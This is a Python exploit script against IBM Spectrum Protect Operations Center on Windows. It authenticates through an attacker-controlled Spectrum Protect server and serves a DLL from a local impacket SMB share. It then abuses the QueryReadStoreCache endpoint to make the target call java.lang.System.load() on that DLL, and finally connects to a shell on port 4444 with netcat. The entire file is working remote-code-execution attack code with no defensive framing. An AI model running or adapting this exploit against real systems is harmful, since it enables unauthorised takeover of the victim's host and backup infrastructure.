import requests, sys, argparse, re ,os.path
import threading, socket, subprocess, shlex
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from impacket import smbserver

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def smb_server(lip, share):
    server = smbserver.SimpleSMBServer(listenAddress=lip, listenPort=445)
    server.addShare(share, '.', '')
    server.setSMBChallenge('')
    server.setLogFile('/dev/null')
    server.start()

#
# MAIN
# 
descr  = 'This script attempts to inject a DLL into the Operations Center process.'
 
parser = argparse.ArgumentParser(description=descr, formatter_class=argparse.RawTextHelpFormatter)
required = parser.add_argument_group('required arguments')
required.add_argument('-t', '--target',required=True, help='Target host')
parser.add_argument('-p', '--port', type=int, default=11090, help='Operations Center port, default: %(default)s')
required.add_argument('-S', '--server',required=True, help='IP/hostname of the attacker-controlled IBM Spectrum Protect Server')
required.add_argument('-U', '--user',required=True, help='User name on the attacker-contrlled server')
required.add_argument('-P', '--password',required=True, help='User password on the attacker-controlled server')
required.add_argument('-d', '--dll',required=True, help='DLL to inject')

args = parser.parse_args()
host      = args.target
port      = args.port
server    = args.server
user      = args.user
password  = args.password
dll       = args.dll

cur_dir = os.getcwd()
abspath = os.path.abspath(dll)
dll = os.path.basename(abspath)

if not os.path.isfile(cur_dir + os.sep + dll): 
  sys.exit('DLL {} not in current directory.'.format(dll))

print('Logging in to OC at {}:{} with credentials on attacker-controlled Spectrum Protect server {}'.format(host, port, server))

# Get a login form 
sid = None
url = 'https://{}:{}/oc/configuration'.format(host, port)
r = requests.get(url, verify=False) 
if 'JSESSIONID' in r.cookies:
  sid = r.cookies['JSESSIONID']
if sid is None:
  sys.exit('[-] Failed to get a login session ID.')

m = re.search('id="xtoken" value=([0-9A-F-]+)>', r.text)
if m is None:
  sys.exit('[-] Failed to get xtoken.')
xtoken = m.group(1)

# Perform login 
url = 'https://{}:{}/oc/configuration'.format(host, port)
cookies = {'JSESSIONID':sid}
headers = {'Host': '{}:{}'.format(host, port), 'Origin': 'https://{}:{}'.format(host,port)}
data = {
  'connectto'     : '{}:1500'.format(server), 
  'login'         : user, 
  'password'      : password, 
  'xtoken'        : xtoken,
  'useSSL'        : 'true',
  'useTLS12Only'  : 'true',
  'tzoffset'      : '300'
}
r = requests.post(url, cookies=cookies, headers = headers, data=data, verify=False, allow_redirects=False) 
if r.status_code != 302:
  sys.exit('Login failed.\nPlease make sure the credentials for Spectrum Protect server {} is correct and wait for at least 5 minutes and then rerun the script.\nIf access to the Operations Center is available, you can restart the Operations Center and rerun the script.'.format(server)) 

print('Login OK')
print('JSESSIONID : {}'.format(sid))
print('xtoken     : {}'.format(xtoken))

if 'JSESSIONID' in r.cookies:
  sid = r.cookies['JSESSIONID']
  cookies = {'JSESSIONID':sid}

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
my_ip = s.getsockname()[0]
s.close()

# Spin up the SMB server thread
share = 'MYSHARE'
print('Starting local SMB Server at {}, share: {}'.format(my_ip, share))
smbd_thread = threading.Thread(target=smb_server, args=(my_ip,share))
smbd_thread.daemon = True
smbd_thread.start()

path = '\\\\{}\\{}\\{}'.format(my_ip, share, dll)
print('Invoking java.lang.System.load() on {}'.format(path))
data = {'server' : path}
headers = {
  'Host'            : '{}:{}'.format(host, port), 
  'Origin'          : 'https://{}:{}'.format(host,port),
  'xtoken'          : xtoken,
  'Content-Type'    : 'application/x-www-form-urlencoded',
  'Accept-Encoding' : 'deflate, gzip'
}
url = 'https://{}:{}/oc/QueryReadStoreCache/java.lang.System/load'.format(host, port)
try:
  r = requests.post(url, cookies=cookies, headers = headers, data=data, verify=False, allow_redirects=False, timeout=4) 
except: pass
print('Note that this script only works against an Operations Center running on a Windows host.')
print('Running nc {} 4444\n'.format(host)) 
cmd = 'nc {} 4444'.format(host)
subprocess.check_call(shlex.split(cmd))
